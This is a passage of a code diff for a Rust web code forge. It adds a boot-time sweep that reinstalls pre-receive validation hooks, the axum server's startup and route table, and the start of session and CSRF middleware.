| 2 | + | //! | |
| 3 | + | //! > Hooks are the compiled `dogfood-hook` binary, installed into each repo's | |
| 4 | + | //! > `hooks/` directory at creation. | |
| 5 | + | //! | |
| 6 | + | //! Installing at creation is necessary but not sufficient. A repository created | |
| 7 | + | //! before the hook existed, restored from a backup taken before it, or created | |
| 8 | + | //! by a code path that forgot the call, has no hook — and a *missing* hook fails | |
| 9 | + | //! open. Nothing errors; pushes simply stop being validated. Protected bookmarks | |
| 10 | + | //! silently become unprotected and the ref-name allowlist silently stops | |
| 11 | + | //! applying. | |
| 12 | + | //! | |
| 13 | + | //! That is exactly the shape of bug this sweep exists to make impossible: on | |
| 14 | + | //! every boot, every repository gets the hook reinstalled. The write is | |
| 15 | + | //! idempotent and costs one small file per repository, which is nothing next to | |
| 16 | + | //! a validation control that is off without anybody noticing. | |
| 17 | + | ||
| 18 | + | use std::sync::Arc; | |
| 19 | + | ||
| 20 | + | use df_db::PgPool; | |
| 21 | + | use df_store::{RepoId, RepoStore}; | |
| 22 | + | use uuid::Uuid; | |
| 23 | + | ||
| 24 | + | /// Install the hook into one repository. | |
| 25 | + | /// | |
| 26 | + | /// Called at creation, and by the boot sweep. Errors are the caller's to | |
| 27 | + | /// report: at creation a failure should be loud, during the sweep it should not | |
| 28 | + | /// stop the process from starting. | |
| 29 | + | pub async fn install(store: &dyn RepoStore, repo_id: Uuid, hook_binary: &str) -> anyhow::Result<()> { | |
| 30 | + | store | |
| 31 | + | .configure_receive_validation(RepoId(repo_id), hook_binary) | |
| 32 | + | .await | |
| 33 | + | .map_err(|e| anyhow::anyhow!("installing the pre-receive hook: {e}")) | |
| 34 | + | } | |
| 35 | + | ||
| 36 | + | /// Reinstall the hook on every repository, at startup. | |
| 37 | + | /// | |
| 38 | + | /// Runs in the background so a slow filesystem cannot delay serving, and never | |
| 39 | + | /// fails the process — an instance that cannot install hooks should still come | |
| 40 | + | /// up, loudly complaining, rather than refuse to start. | |
| 41 | + | pub fn sweep_in_background(db: PgPool, store: Arc<dyn RepoStore>, hook_binary: String) { | |
| 42 | + | tokio::spawn(async move { | |
| 43 | + | let repos: Vec<(Uuid,)> = match sqlx::query_as("SELECT id FROM repos").fetch_all(&db).await { | |
| 44 | + | Ok(r) => r, | |
| 45 | + | Err(e) => { | |
| 46 | + | tracing::error!("could not list repositories to install hooks: {e}"); | |
| 47 | + | return; | |
| 48 | + | } | |
| 49 | + | }; | |
| 50 | + | ||
| 51 | + | let total = repos.len(); | |
| 52 | + | let mut failed = 0usize; | |
| 53 | + | ||
| 54 | + | for (id,) in repos { | |
| 55 | + | // A repository row whose storage is missing is a real state after a | |
| 56 | + | // partial restore (spec §10). It is reported by the reindex path, | |
| 57 | + | // not here, so this only counts hook failures. | |
| 58 | + | if !store.exists(RepoId(id)).await { | |
| 59 | + | continue; | |
| 60 | + | } | |
| 61 | + | if let Err(e) = install(store.as_ref(), id, &hook_binary).await { | |
| 62 | + | failed += 1; | |
| 63 | + | tracing::error!(repo = %id, "{e:#}"); | |
| 64 | + | } | |
| 65 | + | } | |
| 66 | + | ||
| 67 | + | if failed > 0 { | |
| 68 | + | tracing::error!( | |
| 69 | + | total, | |
| 70 | + | failed, | |
| 71 | + | "some repositories are accepting pushes WITHOUT validation" | |
| 72 | + | ); | |
| 73 | + | } else { | |
| 74 | + | tracing::info!(total, "pre-receive hooks verified on every repository"); | |
| 75 | + | } | |
| 76 | + | }); | |
| 77 | + | } | |
Acrates/df-web/src/main.rs464 lines+464−0
| @@ −0,0 +1,464 @@ | |||
| 1 | + | //! `dogfood-web` — the HTTP server. | |
| 2 | + | ||
| 3 | + | use std::sync::Arc; | |
| 4 | + | ||
| 5 | + | use anyhow::{Context, Result}; | |
| 6 | + | use axum::routing::{delete, get, post}; | |
| 7 | + | use axum::Router; | |
| 8 | + | use tower_http::catch_panic::CatchPanicLayer; | |
| 9 | + | use tower_http::trace::TraceLayer; | |
| 10 | + | ||
| 11 | + | mod config; | |
| 12 | + | mod error; | |
| 13 | + | mod git_http; | |
| 14 | + | mod highlight_cache; | |
| 15 | + | mod hooks; | |
| 16 | + | mod middleware; | |
| 17 | + | mod ratelimit; | |
| 18 | + | mod repo_ctx; | |
| 19 | + | mod revset; | |
| 20 | + | mod routes; | |
| 21 | + | #[cfg(test)] | |
| 22 | + | mod security_tests; | |
| 23 | + | mod state; | |
| 24 | + | mod views; | |
| 25 | + | ||
| 26 | + | use config::Config; | |
| 27 | + | use state::{AppState, Inner}; | |
| 28 | + | ||
| 29 | + | #[tokio::main] | |
| 30 | + | async fn main() -> Result<()> { | |
| 31 | + | // `.env` is a convenience for local runs; in Docker the values arrive as | |
| 32 | + | // real environment variables and this is a no-op. | |
| 33 | + | let _ = dotenvy::dotenv(); | |
| 34 | + | ||
| 35 | + | init_tracing(); | |
| 36 | + | ||
| 37 | + | let config = Config::from_env().context("loading configuration")?; | |
| 38 | + | tracing::info!(base_url = %config.base_url, "starting dogfood-web"); | |
| 39 | + | ||
| 40 | + | let db = df_db::connect(&config.database_url, config.database_max_connections) | |
| 41 | + | .await | |
| 42 | + | .context("connecting to the database")?; | |
| 43 | + | ||
| 44 | + | // Migrations run on web startup under an advisory lock (spec §10). | |
| 45 | + | df_db::migrate(&db).await.context("running migrations")?; | |
| 46 | + | ||
| 47 | + | // Mint the admin bootstrap token if nobody is admin yet. Logged once; only | |
| 48 | + | // its hash is stored, so it cannot be recovered afterwards. | |
| 49 | + | match df_auth::provisioning::ensure_setup_token(&db).await { | |
| 50 | + | Ok(Some(token)) => { | |
| 51 | + | tracing::warn!( | |
| 52 | + | "\n\n\ | |
| 53 | + | ┌───────────────────────────────────────────────────────────────┐\n\ | |
| 54 | + | │ SETUP TOKEN — claim site admin at {}/setup\n\ | |
| 55 | + | │ {}\n\ | |
| 56 | + | │ Shown once. Only its hash is stored.\n\ | |
| 57 | + | └───────────────────────────────────────────────────────────────┘\n", | |
| 58 | + | config.base_url, | |
| 59 | + | token | |
| 60 | + | ); | |
| 61 | + | } | |
| 62 | + | Ok(None) => tracing::debug!("no setup token needed"), | |
| 63 | + | Err(e) => tracing::error!("could not prepare setup token: {e:#}"), | |
| 64 | + | } | |
| 65 | + | ||
| 66 | + | let oidc = df_auth::Oidc::discover( | |
| 67 | + | &config.oidc_issuer, | |
| 68 | + | &config.oidc_client_id, | |
| 69 | + | &config.oidc_client_secret, | |
| 70 | + | &config.oidc_redirect_url, | |
| 71 | + | &config.oidc_scopes, | |
| 72 | + | ) | |
| 73 | + | .await | |
| 74 | + | .context("OIDC discovery")?; | |
| 75 | + | tracing::info!(issuer = %config.oidc_issuer, "OIDC relying party ready"); | |
| 76 | + | ||
| 77 | + | let store: Arc<dyn df_store::RepoStore> = Arc::new( | |
| 78 | + | df_store::GitStore::new(&config.repo_root) | |
| 79 | + | .with_max_blob_bytes(config.max_blob_render_bytes as u64 * 8), | |
| 80 | + | ); | |
| 81 | + | tracing::info!(root = %config.repo_root, "repository storage ready"); | |
| 82 | + | ||
| 83 | + | let bind = config.bind.clone(); | |
| 84 | + | let state = AppState(Arc::new(Inner { | |
| 85 | + | db, | |
| 86 | + | oidc, | |
| 87 | + | config, | |
| 88 | + | store, | |
| 89 | + | limiter: ratelimit::Limiter::new(), | |
| 90 | + | })); | |
| 91 | + | ||
| 92 | + | // Reinstall the pre-receive hook everywhere. A missing hook fails *open* — | |
| 93 | + | // pushes stop being validated with no error anywhere — so this runs on | |
| 94 | + | // every boot rather than only at repository creation (spec §4, §9). | |
| 95 | + | hooks::sweep_in_background( | |
| 96 | + | state.db.clone(), | |
| 97 | + | state.store.clone(), | |
| 98 | + | state.config.hook_binary.clone(), | |
| 99 | + | ); | |
| 100 | + | ||
| 101 | + | let app = build_router(state); | |
| 102 | + | ||
| 103 | + | let listener = tokio::net::TcpListener::bind(&bind) | |
| 104 | + | .await | |
| 105 | + | .with_context(|| format!("binding {bind}"))?; | |
| 106 | + | tracing::info!("listening on {bind}"); | |
| 107 | + | ||
| 108 | + | axum::serve( | |
| 109 | + | listener, | |
| 110 | + | app.into_make_service_with_connect_info::<std::net::SocketAddr>(), | |
| 111 | + | ) | |
| 112 | + | .with_graceful_shutdown(shutdown_signal()) | |
| 113 | + | .await | |
| 114 | + | .context("server error")?; | |
| 115 | + | ||
| 116 | + | Ok(()) | |
| 117 | + | } | |
| 118 | + | ||
| 119 | + | fn build_router(state: AppState) -> Router { | |
| 120 | + | Router::new() | |
| 121 | + | // ─── pages ─────────────────────────────────────────────────────────── | |
| 122 | + | .route("/", get(routes::home::index)) | |
| 123 | + | .route("/dashboard", get(routes::home::dashboard)) | |
| 124 | + | .route("/design", get(routes::design::sheet)) | |
| 125 | + | .route("/design/rationale", get(routes::design::rationale)) | |
| 126 | + | .route("/login", get(routes::auth::login)) | |
| 127 | + | .route("/auth/callback", get(routes::auth::callback)) | |
| 128 | + | .route("/auth/handle", post(routes::auth::choose_handle)) | |
| 129 | + | .route("/logout", post(routes::auth::logout)) | |
| 130 | + | .route("/setup", get(routes::setup::show).post(routes::setup::claim)) | |
| 131 | + | // ─── repositories ──────────────────────────────────────────────────── | |
| 132 | + | .route("/new", get(routes::repo::new_form)) | |
| 133 | + | .route("/repos", post(routes::repo::create)) | |
| 134 | + | // ─── the signed-in user's own settings ─────────────────────────────── | |
| 135 | + | // The POST aliases exist because a browser form cannot emit DELETE and | |
| 136 | + | // spec §7 makes working without JavaScript a hard requirement; the | |
| 137 | + | // DELETE routes are the same handlers, for API clients. | |
| 138 | + | .route("/search", get(routes::search::search)) | |
| 139 | + | .route("/orgs/new", get(routes::org::new_form)) | |
| 140 | + | .route("/orgs", post(routes::org::create)) | |
| 141 | + | .route("/settings", get(routes::settings::show)) | |
| 142 | + | .route("/settings/keys", post(routes::settings::add_key)) | |
| 143 | + | .route("/settings/keys/{id}", delete(routes::settings::delete_key)) | |
| 144 | + | .route("/settings/keys/{id}/delete", post(routes::settings::delete_key)) | |
| 145 | + | .route("/settings/tokens", post(routes::settings::create_token)) | |
| 146 | + | .route("/settings/tokens/{id}", delete(routes::settings::delete_token)) | |
| 147 | + | .route("/settings/tokens/{id}/delete", post(routes::settings::delete_token)) | |
| 148 | + | // ─── assets ────────────────────────────────────────────────────────── | |
| 149 | + | .route("/assets/app.css", get(serve_css)) | |
| 150 | + | .route("/assets/fonts/{name}", get(serve_font)) | |
| 151 | + | .route("/assets/htmx.min.js", get(serve_htmx)) | |
| 152 | + | .route("/assets/theme-init.js", get(serve_theme_init_js)) | |
| 153 | + | .route("/assets/theme.js", get(serve_theme_js)) | |
| 154 | + | .route("/assets/editor.js", get(serve_editor_js)) | |
| 155 | + | // ─── operational ───────────────────────────────────────────────────── | |
| 156 | + | // Repository routes are declared last so their `{owner}` wildcard | |
| 157 | + | // cannot shadow a fixed path like /new or /settings. | |
| 158 | + | .route("/{owner}", get(routes::profile::show)) | |
| 159 | + | // Org membership lives under `/-/` so it cannot collide with a | |
| 160 | + | // repository named `members`. | |
| 161 | + | .route( | |
| 162 | + | "/{owner}/-/members", | |
| 163 | + | get(routes::org::members).post(routes::org::add_member), | |
| 164 | + | ) | |
| 165 | + | .route("/{owner}/-/members/remove", post(routes::org::remove_member)) | |
| 166 | + | .route("/{owner}/{repo}", get(routes::repo::index)) | |
| 167 | + | .route("/{owner}/{repo}/settings", get(routes::repo_settings::show)) | |
| 168 | + | .route("/{owner}/{repo}/settings/general", post(routes::repo_settings::update_general)) | |
| 169 | + | .route( | |
| 170 | + | "/{owner}/{repo}/settings/collaborators", | |
| 171 | + | post(routes::repo_settings::upsert_collaborator), | |
| 172 | + | ) | |
| 173 | + | .route( | |
| 174 | + | "/{owner}/{repo}/settings/collaborators/remove", | |
| 175 | + | post(routes::repo_settings::remove_collaborator), | |
| 176 | + | ) | |
| 177 | + | .route("/{owner}/{repo}/settings/bookmarks", post(routes::repo_settings::protect_bookmark)) | |
| 178 | + | .route("/{owner}/{repo}/settings/archive", post(routes::repo_settings::archive)) | |
| 179 | + | .route("/{owner}/{repo}/settings/delete", post(routes::repo_settings::delete)) | |
| 180 | + | .route("/{owner}/{repo}/tree/{rev}/{*path}", get(routes::repo::tree)) | |
| 181 | + | .route("/{owner}/{repo}/blob/{rev}/{*path}", get(routes::repo::blob)) | |
| 182 | + | .route("/{owner}/{repo}/raw/{rev}/{*path}", get(routes::repo::raw)) | |
| 183 | + | // In-browser editing. A write-level action on a bookmark, which is why | |
| 184 | + | // it sits beside the browse routes rather than under /settings. | |
| 185 | + | .route( | |
| 186 | + | "/{owner}/{repo}/edit/{rev}/{*path}", | |
| 187 | + | get(routes::edit::show).post(routes::edit::save), | |
| 188 | + | ) | |
| 189 | + | .route("/{owner}/{repo}/log", get(routes::repo::log)) | |
| 190 | + | .route( | |
| 191 | + | "/{owner}/{repo}/changes", | |
| 192 | + | get(routes::change::list).post(routes::change::create), | |
| 193 | + | ) | |
| 194 | + | .route("/{owner}/{repo}/changes/new", get(routes::change::new_form)) | |
| 195 | + | // ─── one change ────────────────────────────────────────────────────── | |
| 196 | + | .route("/{owner}/{repo}/changes/{reference}", get(routes::review::overview)) | |
| 197 | + | .route("/{owner}/{repo}/changes/{reference}/files", get(routes::review::files)) | |
| 198 | + | .route("/{owner}/{repo}/changes/{reference}/revisions", get(routes::review::revisions)) | |
| 199 | + | .route("/{owner}/{repo}/changes/{reference}/conflicts", get(routes::review::conflicts)) | |
| 200 | + | .route("/{owner}/{repo}/changes/{reference}/comments", post(routes::review::create_comment)) | |
| 201 | + | .route( | |
| 202 | + | "/{owner}/{repo}/changes/{reference}/comments/{id}/resolve", | |
| 203 | + | post(routes::review::resolve_comment), | |
| 204 | + | ) | |
| 205 | + | .route("/{owner}/{repo}/changes/{reference}/reviews", post(routes::review::create_review)) | |
| 206 | + | .route("/{owner}/{repo}/changes/{reference}/edit", post(routes::review::edit)) | |
| 207 | + | .route("/{owner}/{repo}/changes/{reference}/state", post(routes::review::set_state)) | |
| 208 | + | .route("/{owner}/{repo}/changes/{reference}/merge", post(routes::review::merge)) | |
| 209 | + | // ─── stacks ────────────────────────────────────────────────────────── | |
| 210 | + | .route("/{owner}/{repo}/stacks/{change_id}", get(routes::review::stack)) | |
| 211 | + | .route("/{owner}/{repo}/stacks/{change_id}/merge", post(routes::review::merge_stack)) | |
| 212 | + | .route("/{owner}/{repo}/bookmarks", get(routes::repo::bookmarks)) | |
| 213 | + | // ─── issues ────────────────────────────────────────────────────────── | |
| 214 | + | .route( | |
| 215 | + | "/{owner}/{repo}/issues", | |
| 216 | + | get(routes::issue::list).post(routes::issue::create), | |
| 217 | + | ) | |
| 218 | + | .route("/{owner}/{repo}/issues/new", get(routes::issue::new_form)) | |
| 219 | + | .route("/{owner}/{repo}/issues/{number}", get(routes::issue::detail)) | |
| 220 | + | .route("/{owner}/{repo}/issues/{number}/comments", post(routes::issue::comment)) | |
| 221 | + | .route("/{owner}/{repo}/issues/{number}/state", post(routes::issue::set_state)) | |
| 222 | + | .route("/{owner}/{repo}/issues/{number}/labels", post(routes::issue::set_labels)) | |
| 223 | + | .route("/{owner}/{repo}/issues/{number}/assignees", post(routes::issue::set_assignees)) | |
| 224 | + | // ─── git smart HTTP ────────────────────────────────────────────────── | |
| 225 | + | .route("/{owner}/{repo}/info/refs", get(git_http::info_refs)) | |
| 226 | + | // `DefaultBodyLimit` is 2 MB, which is far below any real pack — with | |
| 227 | + | // it in place every push over a couple of megabytes fails with a 413 | |
| 228 | + | // and `MAX_PACK_BYTES` never gets a chance to apply. It is disabled | |
| 229 | + | // here and the real cap is enforced on the stream inside `git_http`, | |
| 230 | + | // where it counts bytes rather than trusting Content-Length. | |
| 231 | + | .route( | |
| 232 | + | "/{owner}/{repo}/git-upload-pack", | |
| 233 | + | post(git_http::upload_pack).layer(axum::extract::DefaultBodyLimit::disable()), | |
| 234 | + | ) | |
| 235 | + | .route( | |
| 236 | + | "/{owner}/{repo}/git-receive-pack", | |
| 237 | + | post(git_http::receive_pack).layer(axum::extract::DefaultBodyLimit::disable()), | |
| 238 | + | ) | |
| 239 | + | // ─── operational ───────────────────────────────────────────────────── | |
| 240 | + | .route("/healthz", get(routes::health::healthz)) | |
| 241 | + | .route("/readyz", get(routes::health::readyz)) | |
| 242 | + | // Loopback-only, enforced per request from the real peer address | |
| 243 | + | // (spec §7, §10). | |
| 244 | + | .route("/metrics", get(routes::metrics::metrics)) | |
| 245 | + | // Order matters. Layers run outermost-last in this builder, so the | |
| 246 | + | // effective order per request is: security → session → rate limit → | |
| 247 | + | // handler. The limiter runs *after* the session so an authenticated | |
| 248 | + | // request gets its own bucket rather than sharing its neighbours' | |
| 249 | + | // address, and *inside* the security layer so a 429 still carries the | |
| 250 | + | // security headers. | |
| 251 | + | .layer(axum::middleware::from_fn_with_state( | |
| 252 | + | state.clone(), | |
| 253 | + | ratelimit::layer, | |
| 254 | + | )) | |
| 255 | + | .layer(axum::middleware::from_fn_with_state( | |
| 256 | + | state.clone(), | |
| 257 | + | middleware::session_layer, | |
| 258 | + | )) | |
| 259 | + | .layer(axum::middleware::from_fn_with_state( | |
| 260 | + | state.clone(), | |
| 261 | + | middleware::security_layer, | |
| 262 | + | )) | |
| 263 | + | .layer(CatchPanicLayer::new()) | |
| 264 | + | .layer(TraceLayer::new_for_http()) | |
| 265 | + | .fallback(not_found) | |
| 266 | + | .with_state(state) | |
| 267 | + | } | |
| 268 | + | ||
| 269 | + | /// Assets are embedded in the binary so the runtime image needs no asset | |
| 270 | + | /// volume and cannot serve a file the build did not produce. | |
| 271 | + | async fn serve_css() -> impl axum::response::IntoResponse { | |
| 272 | + | ( | |
| 273 | + | [ | |
| 274 | + | (axum::http::header::CONTENT_TYPE, "text/css; charset=utf-8"), | |
| 275 | + | ( | |
| 276 | + | axum::http::header::CACHE_CONTROL, | |
| 277 | + | "public, max-age=3600", | |
| 278 | + | ), | |
| 279 | + | ], | |
| 280 | + | include_str!("../assets/app.css"), | |
| 281 | + | ) | |
| 282 | + | } | |
| 283 | + | ||
| 284 | + | /// The CodeMirror bundle, served only to the edit page. | |
| 285 | + | /// | |
| 286 | + | /// Large (a few hundred KB gzipped) and therefore deliberately not referenced | |
| 287 | + | /// from any other page. Cached hard: the content changes only when the image | |
| 288 | + | /// does. | |
| 289 | + | async fn serve_editor_js() -> impl axum::response::IntoResponse { | |
| 290 | + | ( | |
| 291 | + | [ | |
| 292 | + | ( | |
| 293 | + | axum::http::header::CONTENT_TYPE, | |
| 294 | + | "application/javascript; charset=utf-8", | |
| 295 | + | ), | |
| 296 | + | ( | |
| 297 | + | axum::http::header::CACHE_CONTROL, | |
| 298 | + | "public, max-age=604800, immutable", | |
| 299 | + | ), | |
| 300 | + | ], | |
| 301 | + | include_str!("../assets/editor.min.js"), | |
| 302 | + | ) | |
| 303 | + | } | |
| 304 | + | ||
| 305 | + | /// Web fonts, embedded like every other asset. | |
| 306 | + | /// | |
| 307 | + | /// One route with a match rather than eight routes: the table *is* the | |
| 308 | + | /// allowlist, so a request for anything the build did not embed is a 404 and | |
| 309 | + | /// never touches the filesystem. | |
| 310 | + | /// | |
| 311 | + | /// All eight are Latin subsets. The full families run 90KB+ per weight, which | |
| 312 | + | /// is not a reasonable thing to put in front of every page of a code forge. | |
| 313 | + | async fn serve_font( | |
| 314 | + | axum::extract::Path(name): axum::extract::Path<String>, | |
| 315 | + | ) -> axum::response::Response { | |
| 316 | + | use axum::response::IntoResponse; | |
| 317 | + | ||
| 318 | + | const FONTS: &[(&str, &[u8])] = &[ | |
| 319 | + | ( | |
| 320 | + | "plex-condensed-500.woff2", | |
| 321 | + | include_bytes!("../assets/fonts/plex-condensed-500.woff2"), | |
| 322 | + | ), | |
| 323 | + | ( | |
| 324 | + | "plex-condensed-600.woff2", | |
| 325 | + | include_bytes!("../assets/fonts/plex-condensed-600.woff2"), | |
| 326 | + | ), | |
| 327 | + | ( | |
| 328 | + | "plex-condensed-700.woff2", | |
| 329 | + | include_bytes!("../assets/fonts/plex-condensed-700.woff2"), | |
| 330 | + | ), | |
| 331 | + | ( | |
| 332 | + | "plex-sans-400.woff2", | |
| 333 | + | include_bytes!("../assets/fonts/plex-sans-400.woff2"), | |
| 334 | + | ), | |
| 335 | + | ( | |
| 336 | + | "plex-sans-500.woff2", | |
| 337 | + | include_bytes!("../assets/fonts/plex-sans-500.woff2"), | |
| 338 | + | ), | |
| 339 | + | ( | |
| 340 | + | "plex-sans-600.woff2", | |
| 341 | + | include_bytes!("../assets/fonts/plex-sans-600.woff2"), | |
| 342 | + | ), | |
| 343 | + | ( | |
| 344 | + | "jetbrains-mono-400.woff2", | |
| 345 | + | include_bytes!("../assets/fonts/jetbrains-mono-400.woff2"), | |
| 346 | + | ), | |
| 347 | + | ( | |
| 348 | + | "jetbrains-mono-500.woff2", | |
| 349 | + | include_bytes!("../assets/fonts/jetbrains-mono-500.woff2"), | |
| 350 | + | ), | |
| 351 | + | ]; | |
| 352 | + | ||
| 353 | + | let Some((_, bytes)) = FONTS.iter().find(|(n, _)| *n == name) else { | |
| 354 | + | return error::AppError::NotFound.into_response(); | |
| 355 | + | }; | |
| 356 | + | ||
| 357 | + | ( | |
| 358 | + | [ | |
| 359 | + | (axum::http::header::CONTENT_TYPE, "font/woff2"), | |
| 360 | + | // A font file never changes under a given deploy — the name is | |
| 361 | + | // fixed and the bytes come from the image — so it can be cached as | |
| 362 | + | // hard as the editor bundle. | |
| 363 | + | ( | |
| 364 | + | axum::http::header::CACHE_CONTROL, | |
| 365 | + | "public, max-age=31536000, immutable", | |
| 366 | + | ), | |
| 367 | + | ], | |
| 368 | + | *bytes, | |
| 369 | + | ) | |
| 370 | + | .into_response() | |
| 371 | + | } | |
| 372 | + | ||
| 373 | + | async fn serve_htmx() -> impl axum::response::IntoResponse { | |
| 374 | + | ( | |
| 375 | + | [ | |
| 376 | + | ( | |
| 377 | + | axum::http::header::CONTENT_TYPE, | |
| 378 | + | "application/javascript; charset=utf-8", | |
| 379 | + | ), | |
| 380 | + | ( | |
| 381 | + | axum::http::header::CACHE_CONTROL, | |
| 382 | + | "public, max-age=86400", | |
| 383 | + | ), | |
| 384 | + | ], | |
| 385 | + | include_str!("../assets/htmx.min.js"), | |
| 386 | + | ) | |
| 387 | + | } | |
| 388 | + | ||
| 389 | + | /// The theme flash-guard. Loaded blocking, in `<head>`, so a stored "light" | |
| 390 | + | /// preference is applied before the default dark theme paints. | |
| 391 | + | async fn serve_theme_init_js() -> impl axum::response::IntoResponse { | |
| 392 | + | ( | |
| 393 | + | [ | |
| 394 | + | ( | |
| 395 | + | axum::http::header::CONTENT_TYPE, | |
| 396 | + | "application/javascript; charset=utf-8", | |
| 397 | + | ), | |
| 398 | + | (axum::http::header::CACHE_CONTROL, "public, max-age=86400"), | |
| 399 | + | ], | |
| 400 | + | include_str!("../assets/theme-init.js"), | |
| 401 | + | ) | |
| 402 | + | } | |
| 403 | + | ||
| 404 | + | /// The theme toggle button's behaviour. Deferred, like htmx — the button is | |
| 405 | + | /// enhancement only. | |
| 406 | + | async fn serve_theme_js() -> impl axum::response::IntoResponse { | |
| 407 | + | ( | |
| 408 | + | [ | |
| 409 | + | ( | |
| 410 | + | axum::http::header::CONTENT_TYPE, | |
| 411 | + | "application/javascript; charset=utf-8", | |
| 412 | + | ), | |
| 413 | + | (axum::http::header::CACHE_CONTROL, "public, max-age=86400"), | |
| 414 | + | ], | |
| 415 | + | include_str!("../assets/theme.js"), | |
| 416 | + | ) | |
| 417 | + | } | |
| 418 | + | ||
| 419 | + | async fn not_found() -> error::AppError { | |
| 420 | + | error::AppError::NotFound | |
| 421 | + | } | |
| 422 | + | ||
| 423 | + | fn init_tracing() { | |
| 424 | + | use tracing_subscriber::{layer::SubscriberExt, util::SubscriberInitExt, EnvFilter}; | |
| 425 | + | ||
| 426 | + | let filter = EnvFilter::try_from_default_env() | |
| 427 | + | .unwrap_or_else(|_| EnvFilter::new("info,df_web=debug")); | |
| 428 | + | ||
| 429 | + | // Structured JSON to stdout (spec §10). Falls back to a human-readable | |
| 430 | + | // format when a TTY is attached, which is what you want when running it by | |
| 431 | + | // hand. | |
| 432 | + | let json = !std::io::IsTerminal::is_terminal(&std::io::stdout()); | |
| 433 | + | ||
| 434 | + | let registry = tracing_subscriber::registry().with(filter); | |
| 435 | + | if json { | |
| 436 | + | registry.with(tracing_subscriber::fmt::layer().json()).init(); | |
| 437 | + | } else { | |
| 438 | + | registry.with(tracing_subscriber::fmt::layer()).init(); | |
| 439 | + | } | |
| 440 | + | } | |
| 441 | + | ||
| 442 | + | async fn shutdown_signal() { | |
| 443 | + | let ctrl_c = async { | |
| 444 | + | tokio::signal::ctrl_c() | |
| 445 | + | .await | |
| 446 | + | .expect("installing Ctrl+C handler"); | |
| 447 | + | }; | |
| 448 | + | ||
| 449 | + | #[cfg(unix)] | |
| 450 | + | let terminate = async { | |
| 451 | + | tokio::signal::unix::signal(tokio::signal::unix::SignalKind::terminate()) | |
| 452 | + | .expect("installing SIGTERM handler") | |
| 453 | + | .recv() | |
| 454 | + | .await; | |
| 455 | + | }; | |
| 456 | + | ||
| 457 | + | #[cfg(not(unix))] | |
| 458 | + | let terminate = std::future::pending::<()>(); | |
| 459 | + | ||
| 460 | + | tokio::select! { | |
| 461 | + | _ = ctrl_c => tracing::info!("received SIGINT, shutting down"), | |
| 462 | + | _ = terminate => tracing::info!("received SIGTERM, shutting down"), | |
| 463 | + | } | |
| 464 | + | } | |
Acrates/df-web/src/middleware.rs+259−0
| @@ −0,0 +1,259 @@ | |||
| 1 | + | //! Request middleware: session resolution, CSRF, and security headers. | |
| 2 | + | ||
| 3 | + | use std::sync::Arc; | |
| 4 | + | ||
| 5 | + | use axum::extract::{Request, State}; | |
| 6 | + | use axum::http::{header, HeaderValue, Method, StatusCode}; | |
| 7 | + | use axum::middleware::Next; | |
| 8 | + | use axum::response::{IntoResponse, Response}; | |
| 9 | + | use axum_extra::extract::cookie::{Cookie, SameSite}; | |
| 10 | + | use df_auth::{csrf, session}; | |
| 11 | + | use rand::RngCore; | |
| 12 | + | use uuid::Uuid; | |
| 13 | + | ||
| 14 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 15 | + | ||
| 16 | + | /// Resolve the session cookie into a user, once per request. | |
| 17 | + | /// | |
| 18 | + | /// Handlers never read the cookie themselves — spec §6: "Resolve permissions | |
| 19 | + | /// once per request in middleware … and pass it down." | |
| 20 | + | pub async fn session_layer( | |
| 21 | + | State(state): State<AppState>, | |
| 22 | + | mut req: Request, | |
| 23 | + | next: Next, | |
| 24 | + | ) -> Response { | |
| 25 | + | let jar = axum_extra::extract::cookie::CookieJar::from_headers(req.headers()); | |
| 26 | + | ||
| 27 | + | let mut current = CurrentUser(None); | |
| 28 | + | ||
| 29 | + | if let Some(raw) = jar.get(session::COOKIE_NAME).map(|c| c.value().to_owned()) { | |
| 30 | + | if let Ok(id) = raw.parse::<Uuid>() { | |
| 31 | + | match session::load(&state.db, id).await { | |
| 32 | + | Ok(Some((sess, user))) => { | |
| 33 | + | // Slide the expiry only past the halfway point, to avoid a | |
| 34 | + | // database write on every page view. | |
| 35 | + | if session::should_slide(sess.expires_at, state.config.session_ttl_days) { | |
| 36 | + | if let Err(e) = | |
| 37 | + | session::slide(&state.db, sess.id, state.config.session_ttl_days).await | |
| 38 | + | { | |
| 39 | + | tracing::warn!("sliding session failed: {e}"); | |
| 40 | + | } | |
| 41 | + | } | |
| 42 | + | current = CurrentUser(Some(Arc::new(user))); | |
| 43 | + | } | |
| 44 | + | Ok(None) => { /* expired or unknown: treated as signed out */ } | |
| 45 | + | Err(e) => tracing::error!("loading session failed: {e}"), | |
| 46 | + | } | |
| 47 | + | } | |
| 48 | + | } | |
| 49 | + | ||
| 50 | + | req.extensions_mut().insert(current); | |
| 51 | + | next.run(req).await | |
| 52 | + | } | |
| 53 | + | ||
| 54 | + | /// Issue a CSP nonce and a CSRF token, enforce CSRF on unsafe methods, and set | |
| 55 | + | /// the security headers from spec §9. | |
| 56 | + | pub async fn security_layer( | |
| 57 | + | State(state): State<AppState>, | |
| 58 | + | mut req: Request, | |
| 59 | + | next: Next, | |
| 60 | + | ) -> Response { | |
| 61 | + | let secret = state.config.session_secret.clone(); | |
| 62 | + | ||
| 63 | + | let jar = axum_extra::extract::cookie::CookieJar::from_headers(req.headers()); | |
| 64 | + | let existing = jar.get(csrf::COOKIE_NAME).map(|c| c.value().to_owned()); | |
| 65 | + | ||
| 66 | + | // Reuse a valid token so a page open in two tabs does not invalidate itself. | |
| 67 | + | let token = match &existing { | |
| 68 | + | Some(t) if csrf::is_valid(&secret, t) => t.clone(), | |
| 69 | + | _ => csrf::issue(&secret), | |
| 70 | + | }; | |
| 71 | + | let issued_new = existing.as_deref() != Some(token.as_str()); | |
| 72 | + | ||
| 73 | + | // Enforce on every state-changing method, except the Git RPC endpoints. | |
| 74 | + | // | |
| 75 | + | // Git clients cannot carry a CSRF token, and these endpoints are exempt | |
| 76 | + | // *safely* because they never authenticate from the session cookie — | |
| 77 | + | // `git_http::auth` reads only the `Authorization` header. CSRF protects | |
| 78 | + | // cookie-authenticated state changes; a cross-origin form cannot set an | |
| 79 | + | // Authorization header, so there is nothing here for it to ride on. | |
| 80 | + | // | |
| 81 | + | // This exemption is only sound while that remains true. If a Git endpoint | |
| 82 | + | // ever starts honouring the session cookie, it must be re-included here. | |
| 83 | + | let git_rpc = is_git_rpc(req.uri().path()); | |
| 84 | + | ||
| 85 | + | if !git_rpc && !matches!(req.method(), &Method::GET | &Method::HEAD | &Method::OPTIONS) { | |
| 86 | + | let submitted = req | |
| 87 | + | .headers() | |
| 88 | + | .get(csrf::HEADER_NAME) | |
